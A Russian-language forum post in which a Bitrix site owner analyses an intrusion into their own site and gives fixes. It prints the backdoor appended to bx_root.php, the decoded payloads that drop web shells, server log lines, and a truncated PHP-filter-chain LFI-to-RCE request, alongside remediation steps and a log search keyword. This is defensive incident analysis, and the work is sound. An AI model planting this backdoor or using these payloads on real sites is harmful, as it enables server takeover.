Разбор того как работает взлом через POST к главной странице.
Используя ДРУГУЮ уязвимость поражают \bitrix\modules\main\bx_root.php дописывая в его конец это:[CODE]<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>
[/CODE]Видимо по архитектуре Битрикса файл bx_root.php будет задействован при любом запросе. По крайне мере при запросе в корень точно.
Далее, атакующий в любой удобный момент времени посылает POST запрос примерно следующего содержимого:[CODE]'BX_STAT' => '303q6669293......o7q7q3s3r'
[/CODE]В bx_root.php он расшифруется в следующее:[CODE]0=file_put_contents&1=a0194226a99a.php&2=<?=409723*20;if(md5($_COOKIE[d])=="....?>
[/CODE] или в это[CODE]0=file_put_contents&1=bitrix/admin/ea20360ee090.php&2=<?=409723*20;if(md5($_COOKIE[d])=="....?>
[/CODE]или даже в это:[CODE]0=system&1=echo PD89N.....DA5NzI1lIl0pO319Pz4=|base64 -d| tee 5b186f810c33.php
[/CODE]parse_str заполнит 3 элемента массива $bx_stat, а потом будет вызвана функция с 2-мя аргументами $bx_stat[0]( $bx_stat[1], $bx_stat[2] )
и чаще всего это будет file_put_contents( virus_name, virus_body )
В логах веб-сервера это будет выглядеть как
"GET / HTTP/1.1" 200 3557 "-" ""
"POST / HTTP/1.1" 200 123 "-" ""
"GET /5b186f810c33.php HTTP/1.1" 200 3189 "" ""
Первый запрос GET к корню, потом экплойт через POST. Спустя несколько секунд проверка шелла GET /5b186f810c33.php
Как лечить? Удалить в bx_root.php добавленный код if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
Но это все следствия! Как и множество других "страшнозакодированных" скриптов и .htaccess'ов которые здесь постили.
Причина, в моем случае точно, в другом. Вот с чего все начиналось: [CODE]POST /products/index.php?ID=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.....
[/CODE]У Битрикса где-то внутри стоит что-то вроде include($_POST). Это и есть уязвимость LFI2RCE via PHP Filters!
Весь этот запрос ( он у меня есть ) путем манипуляций кодировок превращается в следующий код:[CODE]<?php system($_POST["a"]); ?>
[/CODE]соответственно будет произведен запуск любой команды из POST параметра 'a'.
Ключевое слово для поиска в логах CSISO2022KR - это обозначение корейской кодировки, без нее ничего не работает.
Почему так - сказано в статье [URL=https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html]https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html[/URL]
Как лечить? Пока поставить такую заглушку в /products/index.php
if($_SERVER['REQUEST_METHOD']=='POST') die();
Или глобально [URL=https://www.php.net/manual/en/function.stream-wrapper-unregister.php]stream_wrapper_unregister[/URL]('php')
Искать где находиться уязвимый код include($_POST) буду дальше.
Все полные логи и коды запросов имеются, могу выслать желающим